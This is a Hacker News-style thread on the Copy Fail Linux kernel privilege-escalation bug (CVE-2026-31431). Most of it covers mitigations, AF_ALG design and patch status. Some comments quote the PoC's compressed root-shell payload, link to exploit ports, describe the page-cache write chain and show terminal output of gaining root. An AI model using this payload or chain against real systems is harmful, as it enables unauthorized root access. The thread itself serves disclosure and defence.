That would suggest that CRYPTO_USER_API_AEAD=y in your kernel config. You can disable it in that case by setting that to "n", recompiling your kernel, and putting the new kernel in place.

tjbecker4• 3 months ago

For this crowd, I highly suggest checking out the technical writeup

https://xint.io/blog/copy-fail-linux-distributions

belkinpower• 3 months ago

This has frustratingly low information density for a technical writeup. The LLM output on the marketing page is whatever, but here it really feels like my time isn’t being respected.

pixel_popping4• 3 months ago

Yet, some people will still continue to say that "AI" isn't ready to replace (or strongly assist) our workflows, sure, some of the best humans devs left a vulnerability that serious (It's extremely serious, so many container as a service are vulnerable) for 9 years and an agent found it in 1 hour, maybe it's time to wake up and accept that it's UNSAFE to not use AI for security review as well?

collinmcnulty• 3 months ago

A human security researcher found the core issue and an agent searched for where to apply it. I don’t think “an agent found it in one hour” is a fair summary of what happened.

pixel_popping4• 3 months ago

I was a bit rough, agreed, but the overall point is still correct, I kinda want to emphasize that I've also ran hundred of loops recently (combination of opus-4.6/gpt-5.4/gemini-3.1-pro-preview) toward a Rust codebase that we manage and that we deemed secure after many audits and found 2 serious issues as well in it, this was also audited externally by a third party that we've paid, which makes me genuinely scared of releasing anything without deep AI verification nowadays.

Anybody has the same feeling?

marshray6• 3 months ago

"The starting insight — that splice() hands page-cache pages into the crypto subsystem and that scatterlist page provenance might be an under-explored bug class — came from human research by Taeyang Lee at Xint. From there, Xint Code scaled the audit across the entire crypto/ subsystem in roughly an hour. Copy Fail was the highest-severity finding in the run."

So, if anything, this might argue against the presence of huge quantities of high-severity bugs in this part of the Linux kernel (that could be found by "Xint Code"-class scanning systems).

erans• 3 months ago

For agents, if you are concerned about that, block access to "su" as it is interactive anyway. Not loading it into the memory will block the attack. If you are using AgentSH (https://www.agentsh.org) you can add a rule to block "su" and soon be able to block AF_ALG sockets if you want to further protect things.

tardedmeme3• 3 months ago

This vulnerability can affect any file you can read. The PoC uses "su" but any setuid binary or any binary that root invokes or is already running as root is vulnerable, as well as many configuration files.

hackernudes2• 3 months ago

LPE = local privilege escalation

Too many darn acronyms. This one wasn't too hard to figure out from context but I wish people would define acronyms before using them!

jjordan• 3 months ago

Good writing for a broad audience requires it. Unfortunately the LLMs don't tend to adopt this guideline.

boston_clone• 3 months ago

it’s a CVE write up; the audience for these knows what an LPE is.

arcfour2• 3 months ago

LPE is a very well-known acronym within the security community, it's not purely academic or obscure or anything.

I agree that it would be a good idea to define it explicitly when writing for a broader audience, but I don't think it's particularly egregious that they didn't. It's certainly something I could see myself forgetting.

Then again, the whole writeup appears to be AI-generated, so...

globular-toast4• 3 months ago

Sure, but the target audience of copy.fail is surely not the security community but regular sysadmins who probably don't otherwise follow as closely.

1970-01-012• 3 months ago

It is nowhere near this. There are very few acronyms in the IT world that are actually well-known outside of it. LPE is less well-known than LVAD or MCU.

https://www.acronymfinder.com/Information-Technology/MCU.htm...

https://www.acronymfinder.com/LVAD.html

https://www.acronymfinder.com/Information-Technology/LPE.htm...

1970-01-012• 3 months ago

I don't know why, but newer writers have never been taught to expand their acronyms on first use. I blame the US education system.

ButlerianJihad2• 3 months ago

To be fair, I just consulted 3 cybersecurity glossaries (SANS.org, NIST CSRC, Huntress), and none of them list "LPE" nor "Local Privilege Escalation".

If you type "LPE" into English Wikipedia's search bar, and press "Enter", you'll be sent to a disambiguation page which contains a link to the relevant article.

https://en.wikipedia.org/wiki/LPE

chvish• 3 months ago

Are kernel crypto modules even loaded by default on enterprise distros

ranger_danger5• 3 months ago

Attempting to open an AF_ALG socket will load the module on-demand if necessary.

rkeene25• 3 months ago

I couldn't get the POC to work with my version of Python so I had ChatGPT convert it to C [0] and was able to verify my Slackware system does not appear to be affected, but my NixOS system would be if I had any world-readable suid binaries (which I had to make one to test it).

[0] https://rkeene.org/viewer/tmp/copy_fail_exp.c.htm

miniBill• 3 months ago

Don't you have like, a sudo in /run/wrappers/bin?

EDIT: Sorry, I failed at reading your message. Never mind.

zdimension• 3 months ago

Works on all my servers. This is terrifying.

eaf7e281• 3 months ago

I'm impressed that such a serious problem popped up out of nowhere.

In my opinion, this mostly affects countries that are still using outdated systems, especially critical systems.

This gives bad actors a direct route to the root. Having an easily accessible root is not funny.

q3k4• 3 months ago

Quickly dove into this.

1. Yes, it's real.

2. Current chain can write any arbitrary content to any user-readable file (into the page cache).

3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.

4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).

5. The authors say they have other chains (including ones that allow container escapes). I believe them.

6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).

q3k4• 3 months ago

And yeah, you can just change arbitrary instructions of any running process (including privileged) as long as you have read access to that process' binary:

https://object.ceph-waw3.hswaw.net/mastodon-prod/media_attac...

jesse_dot_id• 3 months ago

Good thing nobody is silly enough to let fully autonomous AI agents run as regular users on these affected operating systems. That could be disastrous given a zero day prompt injection technique.

chromacity• 3 months ago

I don't see what the issue is, my agent is already running as root.

dnnddidiej4• 3 months ago

Yeah it has all the government logins and full gmail access. It will be too busy to bother rooting the local machine!

pixel_popping4• 3 months ago

As it should for full yolo_O

ryandrake• 3 months ago

Good thing we haven't normalized installing things with curl | sh

FlyThruTheSun• 3 months ago

I literally ship an installer that runs with curl | bash... reading this thread while patching my servers is a fun experience lol

still_grokking5• 3 months ago

Yeah, that's great!

Imagine we would download random code from the internet and just execute it, like with NPM, PIP, Maven, Cargo etc.

dawnerd• 3 months ago

Or npm being allowed to run arbitrary post install scripts

Semaphor• 3 months ago

I don’t think that matters as it’s usually curl | sudo sh

pkoiralap2• 3 months ago

Does anyone have a workaround for it? Edit: I don't understand why the comment would be downvoted.

angch• 3 months ago

I used, for debian based systems:

  printf "# CVE-2026-31431\nblacklist algif_aead\ninstall algif_aead /bin/false\n" | sudo tee /etc/modprobe.d/blacklist-algif_aead.conf >/dev/null && sudo update-initramfs -u

a964• 3 months ago

There's some workarounds in https://copy.fail/#mitigation

firesteelrain• 3 months ago

RHEL is listing this as fix deferred for RHEL 8 and 9.

yrro3• 3 months ago

They've bumped the severity and 8/9/10 are now 'affected'. Hope a patch comes soon!

m3nu3• 3 months ago

I wasn't able to unload algif_aead on RHEL 9/10 because it's built in, rather than a module.

So here the next-best thing I found: Disable AF_ALG via systemd. Needs drop-ins for all exposed services. Here an Ansible playbook that covers ssdh and user@, which are the main ones usually.

https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464d...

pkoiralap2• 3 months ago

I was coming up with the same intuition. However, it's like a whack-a-mole. What about cronjobs and slurmjobs and other services? Is there a way to do this directly on systemd so that all other processes inherit it rather than doing it on each one?

chucky_z• 3 months ago

https://www.freedesktop.org/software/systemd/man/latest/syst...

`/etc/systemd/system/service.d/${...}.conf`

I think this is what you're looking for.

byron3256• 3 months ago

How about blacklisting algif_aead initialization function on RHEL 9/10? I added "initcall_blacklist=algif_aead_init" to the kernel boot options and rebooted. The exploit is not working anymore.

m3nu3• 3 months ago

Good idea. Added to the playbook for RHEL only.

On Debian normal unloading of the module works.

yrro3• 3 months ago

FYI RHEL's SELinux policy blocks AF_ALG socket creation for confined services out of the box. But disabling via RestrictAddressFamilies= unit option, or initcall_blacklist= kernel parameter, seems to be a good mitigation for unconfined services, users and containers.

jchw• 3 months ago

I tried this on NixOS, but it doesn't seem to be easily reproducible. There's no /usr/bin/su - okay, fine: I changed it to /run/wrappers/bin/su, but that didn't work, and I think the reason why is because the NixOS suid wrappers have +x but not +r:

    $ ls -lah /run/wrappers/bin/su
    -r-s--x--x 1 root root 70K Apr 27 11:09 /run/wrappers/bin/su

Not that this makes the underlying mechanism of the exploit any better, but I wonder what else you can do with it. Is there a way to target a suid binary that doesn't have +r? I guess all of the suid binaries necessarily don't, since the wrapper system doesn't grant it and you can't have suid binaries in the /nix/store.

I know it's also unrelated, but this is the most aggressively obvious LLM slop copy I've ever seen and it is a page with like 30 sentences. I guess we're just seriously doing this, huh?

chuso• 3 months ago

It's the same with Gentoo, setuid binaries are installed without read permission.

But modifying a setuid binary is just the demo exploit that was published with the vulnerability disclosure. The vulnerability actually allows modifying four bytes in any readable file. That means system configuration files, other binaries intended to be run by root, libraries... It's not limited to modifying setuid binaries.

kayson• 3 months ago

s6-overlay is a popular container image base for many self hosted services, and it uses an suid binary for startup. I wonder if this could be used to escape the container?

DannyBee• 3 months ago

I love how it says "Standalone PoC. Python 3.10+ stdlib only (os, socket, zlib). Targets /usr/bin/su by default; pass another setuid binary as argv[1]."

Except you can't pass another setuid binary as argv[1] because the AI writing this slop never added that feature to this python script.

I can't get it to work on any distro i've tried.

tptacek3• 3 months ago

The landing page is just bad. There's no way around it.

The bug is pretty great. I feel bad for the researchers who did the work.

ebiggers8• 3 months ago

As someone who works on the Linux kernel's cryptography code, the regularly occurring AF_ALG exploits are really frustrating. AF_ALG, which was added to the kernel many years ago without sufficient review, should not exist. It's very complex, and it exposes a massive attack surface to unprivileged userspace programs. And it's almost completely unnecessary, as userspace already has its own cryptography code to use. The kernel's cryptography code is just for in-kernel users (for example, dm-crypt).

The algorithm being used in this exploit, "authencesn", is even an IPsec implementation detail, which never should have been exposed to userspace as a general-purpose en/decryption API.

If you're in charge of the configuration for a Linux kernel, I strongly recommend disabling all CONFIG_CRYPTO_USER_API_* kconfig options. This would have made this bug, and also every past and future AF_ALG bug, unexploitable. In the unlikely event that you find that it breaks any userspace programs on your system, please help migrate them to userspace crypto code! For some it's already been done. But in general, AF_ALG has actually never been used much in the first place, other than in exploits.

I don't think there's much other option. This sort of userspace API might have been sort of okay many years ago. But it just doesn't stand up in a world with syzbot, LLM-assisted bug discovery, etc.

alpn• 3 months ago

For anyone wondering: AF_ALG is a Linux socket interface that exposes the kernel’s crypto API via file descriptors, using normal read(2)/write(2) calls for hashing and encryption.

dnnddidiej4• 3 months ago

I wonder can the kernel just remove it and distros put on a compatiability layer.

sidewndr46• 3 months ago

any idea what software this will break once I turn this kernel configuration off?

ebiggers8• 3 months ago

iwd is the main culprit (for systems that use it instead of wpa_supplicant).

I think cryptsetup / LUKS also requires it with some non-default options. With the default options, it works fine with the kconfigs disabled.

There's not much else, as far as I know. Normally programs just use a userspace library instead, such as OpenSSL.

still_grokking5• 3 months ago

As I did not know what AF_ALG is in the first place I've searched for it and found this here:

https://www.chronox.de/libkcapi/html/ch01s02.html

It states the following:

There are several reasons for AF_ALG:
* The first and most important item is the access to hardware accelerators and hardware devices whose technical interface can only be accessed from the kernel mode / supervisor state of the processor. Such support cannot be used from user space except through AF_ALG.
* When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information from its memory and just use the cipher handle to perform the cryptographic operations. If the application is cracked an attacker cannot obtain the key material.
* On memory constrained systems like embedded systems, the additional memory footprint of a user space cryptographic library may be too much. As the kernel requires the kernel crypto API to be present, reusing existing code should reduce the memory footprint.

I can't judge whether this is a good justification, but there is one.

buckle80172• 3 months ago

You should take note that this is written by the person that wrote the bad patch.

So grain of salt.

p_l• 3 months ago

AF_ALG if I remember correctly predates userspace-accessible crypto acceleration and was way more important back when it meant you had actual need for "SSL accelerator" cards in servers, among other things

ryukoposting• 3 months ago

Hi, embedded firmware engineer here. I give it a B-

There's a weird area between the workloads that fit on a microcontroller, and the stuff that demands a full-blown CPU. Think softcore processors on FPGAs, super tiny MIPS and RISC-V cores on an ASIC, etc. Typically you run something like Yocto on a core like that. Maybe MontaVista or QNX if you've got the right nerd running the show.

So you have serious compute needs, and security concerns that justify virtual memory. But you don't have infinite space to work with, so hardware acceleration is important. Having a standard API built into the kernel seems like a decent idea I guess.

And yet, I've never heard of AF_ALG. I've never seen it used. The thing is, if you have some bizzaro softcore, there's a good chance you also have a bizzaro crypto engine with no upstream kernel driver. If you're going to the trouble of rolling your own kernel with drivers for special crypto engines, why would you bother hooking it into this thing? Roll your own API that fits your needs and doesn't have a gigantic attack surface.

rcxdude4• 3 months ago

This suggests that it is useful in some niche embedded use- cases, but should probably not be enabled by default on most desktop/server kennels

Fr0styMatt88• 3 months ago

How did it get in? Isn’t Linus known for being rightfully fussy about what makes it into the kernel?

Would be an interesting story.

kasabali2• 3 months ago

Linus has had been fussy about maybe like 5% of the things because even then he couldn't keep up with the sheer volume. Nowadays it's more like 1‰

eqvinox8• 3 months ago

The primary benefit of AF_ALG is IMHO when it's combined with kernel keyrings, i.e. ALG_SET_KEY_BY_KEY_SERIAL.

To steal from the sibling post:

* When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information [...]

It's even more than this: you can do crypto ops in user space without ever even having the key to begin with.

[Ed.: that said, maybe AF_ALG should be locked behind some CAP_*]

[Ed.#2: that said^2, I'm putting this one on authencesn, not AF_ALG. It's the extended sequence number juggling that went poorly, not AF_ALG at large. I bet this might even blow up in some strange hardware scenarios, "network packet on PCIe memory" or something like that - I'm speculating, though.]

angry_octet9• 3 months ago

Better implemented as another user space process than in the kernel.

ebiggers8• 3 months ago

It doesn't seem to actually get used that way in practice. ALG_SET_KEY_BY_KEY_SERIAL didn't even appear until just a few years ago. And either way, if the interface allows you to overwrite the su binary, whether it theoretically could provide some other security benefit becomes kind of irrelevant.

buredoranna• 3 months ago

Please don't rely on my judgement for this being safe for production, but after blacklisting the modules, the provided python exploit failed.

Check if the following are modules

  grep CONFIG_CRYPTO_USER_API /boot/config-$(uname -r)

If they are, you can try blacklisting them

  /etc/modprobe.d/blacklist-crypto-user-api.conf
  
  """
  blacklist af_alg
  blacklist algif_hash
  blacklist algif_skcipher
  blacklist algif_rng
  blacklist algif_aead

  install af_alg /bin/false
  install algif_hash /bin/false
  install algif_skcipher /bin/false
  install algif_rng /bin/false
  install algif_aead /bin/false
  """

  update-initramfs -u

Can anyone comment on the ramifications this?

ebiggers8• 3 months ago

If iwd, or cryptsetup with certain non-default algorithms, isn't being used on the system, you should be fine. Not many programs use AF_ALG. It's possible there are others I'm not aware of, but it's quite rare.

To be clear, general-purpose Linux distros generally can't disable these kconfig options yet, due to these cases. But there are many Linux systems that simply don't need this functionality.

A good project for someone to work on would be to fix iwd and cryptsetup to always use userspace crypto, as they should.

strenholme• 3 months ago

I can’t comment on the ramifications, except to note that elsewhere in the thread this appears to not break anything (whether it makes userspace crypto a little less safe is academic, but that doesn’t matter if we have an easy local root shell), but I can verify the above fix does protect Ubuntu 24.04 from the exploit.

Just reboot after applying this change.

Milpotel• 3 months ago

  zgrep CONFIG_CRYPTO_USER_API /proc/config.gz

globular-toast4• 3 months ago

Is it built as a module in most distros?

PunchyHamster• 3 months ago

over 500 servers with very varied workload i manage didn't had this module loaded so my guess is "near zero"

also only algif_aead is vulnerable

l1k3• 3 months ago

It does enable address space separation of secret keys from user space, which some people love:

https://blog.cloudflare.com/the-linux-kernel-key-retention-s...

https://www.youtube.com/watch?v=7djRRjxaCKk

https://www.youtube.com/watch?v=lvZaDE578yc

So it's not as simple as "should not exist". I agree though that there doesn't seem to be a valid need to expose authencesn to user space.

Disclosure: I'm co-maintaining crypto/asymmetric_keys/ in the kernel and the author/presenter in the first two links is another co-maintainer.

ebiggers8• 3 months ago

That can be done in userspace too -- different userspace processes have different address spaces too.

The fact that the first link recommends using keyctl() for RSA private keys is also "interesting", given that the kernel's implementation of RSA isn't hardened against timing attacks (but userspace implementations of RSA typically are).

400thecat3• 3 months ago

can you please give me a real-life example of an application, on a typical linux laptop or typical linux server, which userspace application would use this CRYPTO_USER_API ? None that I looked at seem to use it: openssl, pgp, sha256sum

anabis• 3 months ago

Many things, such as ksmbd seems ill-advised when looked at from security. New AI driven exploits era will likely make projects more wary to adding functions.

KnuthIsGod• 3 months ago

Removing this will make the friendly spooks at NSA very sad....

tosti4• 3 months ago

No, it'd make me sad. If they're lurking in there and we can do without, I'm happy to always have my own .config

If this gets removed, they'll creep in somewhere we can't find them for a while.

tosti4• 3 months ago

I think it would be reasonable to deprecate af_alg in favor of a character device. It's more accessible that way. The downside is that the maintainers hate adding new ioctls. I think that's fair. But I don't think a "regular" device node would cover the functionality userland expects.

That said, elsewhere ITT it's pointed out there are only a few use cases so far.

SeriousM2• 3 months ago

I was completely unaware of https://syzbot.org, thanks for sharing!

syzbot system continuously fuzzes main Linux kernel branches and automatically reports found bugs to kernel mailing lists. syzbot dashboard shows current statuses of bugs. All syzbot-reported bugs are also CCed to syzkaller-bugs mailing list. Direct all questions to syzkaller@googlegroups.com.

400thecat3• 3 months ago

dev_l1x_be2• 3 months ago

Why is this available in the kernel on a box that does not use ipsec? should this be compile time enabled module instead than a generic solution?

ButlerianJihad2• 3 months ago

The design philosophy of mainstream Linux distros is not like OpenBSD.

Linux distros go to market as maximally capable, maximally interoperable, and maximally available for whatever the users want to do. So there is a lot of "shovelware" that is unnecessarily installed with your base system. A lot of services are enabled that you don't need. A lot of kernel modules are loaded or ready to spring into action as soon as you connect hardware that the kernel recognizes.

All this maximizing also increases the system's attack surface, whether local or over the network. Your resources, time and effort increase, to update the system and maintain all those packages. The TCO is high.

With OpenBSD, the base system is hardened and the code is audited with security in mind. They only install or enable essential functions. So it's up to the user to dig in, customize it, and add in features that are needed.

The good news is that you can do some after-market hardening. Uninstall software that you're not using, and disable non-essential services. Tune your kernel for special-purpose, or general-purpose, but not every-purpose.

There are now special distros for containers and VMs with minimal system builds. They are designed to be as small and lightweight as possible. That is a good start in the right direction.

m3nu3• 3 months ago

What other kernel modules would you suggest disabling that aren't used usually?

WhyNotHugo2• 3 months ago

iwd requires CONFIG_CRYPTO_USER_API_AEAD, so disabling this would break Wi-Fi for a lot of people.

ebiggers8• 3 months ago

Indeed, iwd is the main reason why general-purpose Linux distros can't disable AF_ALG yet. But many Linux systems are more specialized and don't have wireless connectivity, or they use another wireless daemon such as wpa_supplicant which doesn't have this issue.

I'm hoping we can get iwd fixed to use a userspace crypto library, as well. This is something that people could help with.

iwd also runs as root, so it would be okay with a CAP_SYS_ADMIN permission check if one were introduced, I think.

TZubiri6• 3 months ago

YAGNI stocks are rising, Gentoo devs that compile their own kernel probably yeeted this module. Alpine, and MUSL deviants are probably immune to this downswing.

DRY looking very bearish, do repeat yourself, do build your own, do use userspace tools even if the kernel has its own version. Not as big a hit on the DRY philosophy as those pip and npm supply chain attacks last couple of weeks though.

KISS remains unaffected for the time being.

MarsIronPI2• 3 months ago

I think the issue here is not "Don't Repeat Yourself", but "Don't Reinvent the Wheel". If your wheel is just a circle of wood, you're better off building it yourself than hiring a skilled (or sometimes not so skilled) laborer. Too much overhead and risk.

wolttam• 3 months ago

I love this. I think everyone in software should be feeling a tinge of “we should trim the fat” right now - get rid of as much of the old and infrequently used/tested code as we can. Push users towards the better tested alternatives.

zbentley• 3 months ago

But but but … wE dOnT bREaK uSErsPaCe!

derefr• 3 months ago

It'd make a lot of sense to sandbox AF_ALG, then, wouldn't it? At least for userspace-driven invocations. Let the kernel keep its current code-path for kernel-driven invocations, but have the same code unit files also build some other sandboxed form, to be invoked by the crypto-accelerating syscalls.

If these syscalls are used by userspace as rarely as you say, the performance impact of this kind of sandboxing wouldn't matter much. And maybe there could be a KCONFIG/boot flag to switch back to using the un-sandboxed code path for userspace invocations too, for enterprises stuck with old software who really care.

---

My own thought process on how this could work below (but I'm not a kernel contributor, so you can probably immediately picture a design better than I can):

The naive way to do this, would be for the kernel build process to emit a separate AF_ALG userland IPC server as an additional build artifact; to get distros to package this IPC server as a component package of kernel packages; and to set up the sandboxed AF_ALG "kernel bridge" so that it proxies calls through to this IPC server if it exists, and errors out otherwise. (Basically like kfuse, except in this case the only "FUSE servers" are first-party.)

But that's a bit painful, organizationally. Puts a lot of work on the distro maintainers' shoulders, that they might just not bother doing. Prone to error. I think there are better alternatives.

1. Maybe the userland syscalls that rely on AF_ALG could instead ground out inside the kernel in a copy of AF_ALG that's been compiled to eBPF? Then that eBPF bytecode could just be embedded into the kernel.

2. Maybe the Linux kernel could consider a facility that would enable it to act as a hybrid microkernel (similar to macOS's XNU) — with arbitrary static sections of the kernel image/kernel modules [or perhaps standalone static ELF binaries embedded within kernel/kmod .data sections] being spawned not as supervisor-mode kthreads doing their own autonomous thing, but rather as unprivileged user-mode kernel threads, running as IPC-servers for the rest of the kernel to talk to?

- The rest of the kernel could talk to these "userspace kthreads" via some nonblocking IPC mechanism; but this mechanism wouldn't need to be exposed to userland the way macOS's XPC is; it could be kernel-to-kernel only (where these "userspace kthreads", despite being in userspace, are still fundamentally kernel threads, and so get to participate in it.)

- Also, these "userspace kthreads", when they're the active scheduled task, would have the kernel image's read-only sections [or their binary's sections, from within the kernel's .data section] mapped into their address space, since that's the binary they're executing against. But they wouldn't inherit [or the spawning mechanism would actively prune from their task struct] the rest of the kernel's mappings. So they'd have to either use the IPC mechanism, or use regular syscalls, to do anything with the kernel, just like any userspace task.)

ebiggers8• 3 months ago

I don't see those eBPF or microkernel ideas as being particularly realistic! But there are some simple ways AF_ALG's attack surface could be reduced (as an intermediate step to disabling it entirely), like requiring CAP_SYS_ADMIN and/or limiting the algorithms to a specific list.

amluto2• 3 months ago

IIRC some versions of cryptsetup require access to these APIs.

It doesn’t help that the historically dominant userspace implementation of most of this stuff was OpenSSL, which is also terrible.

sharts• 3 months ago

If it should not exist what’s the rationale for keeping it instead of removing it?

eqvinox8• 3 months ago

Yeah, so, as we just learned (dirty.frag) the issue isn't algif_aead, it's authencesn and you can exploit it through plain network sockets rather than AF_ALG.

arcfour2• 3 months ago

It's unfortunate that this does not include which versions of the kernel are vulnerable/patched, especially since this is a builtin module which cannot be easily removed with rmmod...

I was wondering if I was vulnerable running Fedora 44, kernel 6.19.14, and after a few minutes of digging I was able to find the linux-cve-announce mailing list post: https://lore.kernel.org/linux-cve-announce/2026042214-CVE-20... which says:

  ...fixed in 6.18.22 with commit fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8

  ...fixed in 6.19.12 with commit ce42ee423e58dffa5ec03524054c9d8bfd4f6237

  ...fixed in 7.0 with commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

Hope that helps.

hnarn• 3 months ago

most distros backport fixes which does not increment that version number. i.e. they patch it, they do not ship a completely new kernel release.

baggy_trough4• 3 months ago

Greg KH says more backports coming soon.

https://openwall.com/lists/oss-security/2026/04/30/12

noisy_boy• 3 months ago

Thanks for this - I was wondering why I got the password prompt on my Fedora 43 with latest packages.

WhyNotHugo2• 3 months ago

Any setuid-root binary readable by the user works.

Interesting detail. On Alpine, `/usr/bin/su` is not readable by any user, so the PoC doesn't work.

I suspect that the underlying issue can be exploited in other ways, but it makes me think that there's no reason for any suid binary to be world-readable.

ranger_danger5• 3 months ago

Wouldn't executing it still put it in the page cache, just in a different place?

commandersaki2• 3 months ago

Tried this on my arch VPS which has a few users that hasn't been rebooted for 122 days.

Got:

    OSError: [Errno 97] Address family not supported by protocol

I guess AF_ALG is not part of the Arch Linux LTS kernel?

Edit:

Looks like on Arch you have to go out of your way to have this enabled.

    $ zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
    CONFIG_CRYPTO_USER_API=m
    CONFIG_CRYPTO_USER_API_HASH=m
    CONFIG_CRYPTO_USER_API_SKCIPHER=m
    CONFIG_CRYPTO_USER_API_RNG=m
    # CONFIG_CRYPTO_USER_API_RNG_CAVP is not set
    CONFIG_CRYPTO_USER_API_AEAD=m
    # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set
    $ uname -r
    6.12.63-1-lts

sltkr• 3 months ago

On my Arch boxes the official exploit works, both with the LTS kernel (6.18.21-1-lts) and the mainline release (6.19.6-arch1-1).

commandersaki2• 3 months ago

Yeah I think maybe it loads the module on demand. The problem is I've upgraded my kernel many times in the last 122 days which wipes out the running or last installed kernel modules directory. I'm guessing if I had my running kernel modules directory it would on demand load and I'd get root.

forbiddenlake• 3 months ago

6.19.6 is nearly 2 months old, you should probably check your mirrors! 7.0.3 is in Arch already.

https://gitlab.archlinux.org/archlinux/packaging/packages/li...

tgies3• 3 months ago

The Python dependency is easily eliminated, and the x86_64 payload made cross-platform: https://github.com/tgies/copy-fail-c

mikeweiss• 3 months ago

Anyone have any idea when Bottlerocket will acknowledge CVE? Seems like a critical for kubernetes nodes......

https://github.com/bottlerocket-os/bottlerocket/security/adv...

TZubiri6• 3 months ago

It looks like this is legit, but the script is very phishy and I wouldn't run it in unvirtualized or disposable systems.

https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...

zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)

That said, I understand why a terser script might have been prioritized.

EDIT: There's a couple of C ports in the comments that contain more details and no compressed payloads.

q3k4• 3 months ago

This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)

It doesn't, it's just a compressed ELF file that does setuid(0); execve(/bin/sh, 0, 0). You can just unzlib it and throw it in a disassembler.

giis• 3 months ago

As soon as I read this

Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes root

jumped out of bed and went straight into webminal.org servers as local user and ran the python code. It says permission denied on sock() call.

Then I tested with local laptop with it:

```

$ uname -a

Linux debian 6.12.43+deb12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.43-1~bpo12+1 (2025-09-06) x86_64 GNU/Linux

$ python3 copy_fail_exp.py

# cd /root && ls

bluetooth_fix_log.txt dead.letter overcommit_memorx~ overcommit_memory~ overcommit_memorz~ resize.txt snap

```

It does provide the root access!

m-ueberall• 3 months ago

I also tested this on an Ubuntu 24.04 (x86_64) host w/ GA kernel ("6.8.0-103-generic #103-Ubuntu SMP PREEMPT_DYNAMIC Tue Feb 10 13:34:59 UTC 2026 x86_64 GNU/Linux") and wasn't able to reproduce the "problem", although `canonical-livepatch` tells me that there are currently "no livepatches available".

a964• 3 months ago

Beware that running this kind of thing even as a test on a host you don't own may well be a criminal offense!

TZubiri6• 3 months ago

Everything MAY be a criminal offense. Whether it has any merit is another matter.

If I were accused of anything criminal for running this in a host, my defense would be that I was checking the safety of a service I was being offered. If the service was vulnerable, I would counterclaim, if you are on the defense you are already losing.

Joe_Cool• 3 months ago

Anyone tried in an Azure Cloud Shell?

Asking for a friend ;)

EDIT: Don't. "/s" in case not obvious.

tommy_axle2• 3 months ago

Could be worse (we'll see) as this could be a wild ride along with react2shell or some of the compromised packages as of late.

nromiun3• 3 months ago

I tried this exploit on Android and it looks like you need root in the first place to create an AF_ALG socket. I guess it is an SELinux policy to disable AF_ALG entirely.

SeriousM2• 3 months ago

I wonder if this is a problem for very old honeypods like the one on turris omnia, sold many years ago. Docker wasn't a thing these days and everything was done with lcx containers, if at all.

jeffwass• 3 months ago

This submission is currently the main HN submission.

As of now the submission title is simply “Copy Fail”.

Given the severity of the exploit, can we edit the Title to add some context that it’s a major Linux vulnerability?

Eg the other submissions say this : “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.”

ramon156• 3 months ago

I dont really get why you'd

- buy a domain

- vibe code a page/artifact/whatever (which, given the quality of LLM wordings, only makes an argument less strong)

- post it on HN with no further explanation in the title

Why not write a detailed report? Even a tweet makes much more sense in my head than this. Even a logo??

Sorry if this comes over as salty, I guess I'm just not getting the thought process.

eddythompson803• 3 months ago

Maybe it’s tradition https://news.ycombinator.com/item?id=7548991

stingraycharles• 3 months ago

I think they’re using it to promote their product, Xint Code, which was used to discover it. That’s the way I read it anyway.

vntok• 3 months ago

Definitely comes over as salty. Naming major flaws has been a tradition for decades. Remember Heartbleed? It had a site and a logo :) Shellshock, Meltdown, Spectre as well. A few more: https://github.com/hannob/vulns

This site though is pretty useful; first it serves as a central location to point people to with short links in chats/emails/whatever, then it has a quick visual explainer and a link to the detailed technical report for those who want more info. Pretty neat.

Last but not least, buying the domain must have taken 5 minutes, prompting the page must have taken 30 minutes and posting it on HN must have taken 1 minute. So it certainly wasn't a lot of work in the grand scheme of things and probably did not deter the team from doing other important things.

staticassertion11• 3 months ago

Where would you have them write a detailed report if not a website?

throwaway5465• 3 months ago

The domain is canonical.

Then it's syndicate everywhere.

But all roads lead back to the domain.

petcat• 3 months ago

I dont really get why you'd buy a domain [...] Even a tweet makes much more sense in my head than this

I think we should be celebrating people hosting their own content on their own website instead of just posting on some social media site.

sdevonoes• 3 months ago

You are wrong. We should ditch walled gardens like twitter/facebook/ig

jcul• 3 months ago

Yes, strongly agree.

This is HUGE news, I would have skimmed over "Copy Fail".

The blog post might be a better place to link to also, it has more details on the exploit.

https://xint.io/blog/copy-fail-linux-distributions

There are also some good threads on which distros are vulnerable and mitigations on the github page.

https://github.com/theori-io/copy-fail-CVE-2026-31431/issues

rtpg• 3 months ago

Can we just make a one-pager instead of this nonsense LLM bullet pointed list that is explaining this issue to your pointy-haired CEO instead of to sysadmins who understand the badness in 3 lines? Yeesh

fsflover4• 3 months ago

As usual, Qubes is not vulnerable, since by its design, any untrusted software runs in dedicated VMs with hardware virtualization.

Meanwhile, recent Xen CVEs also do not affect Qubes, as usual, https://www.qubes-os.org/news/2026/04/28/xsas-released-on-20...

kuhsaft3• 3 months ago

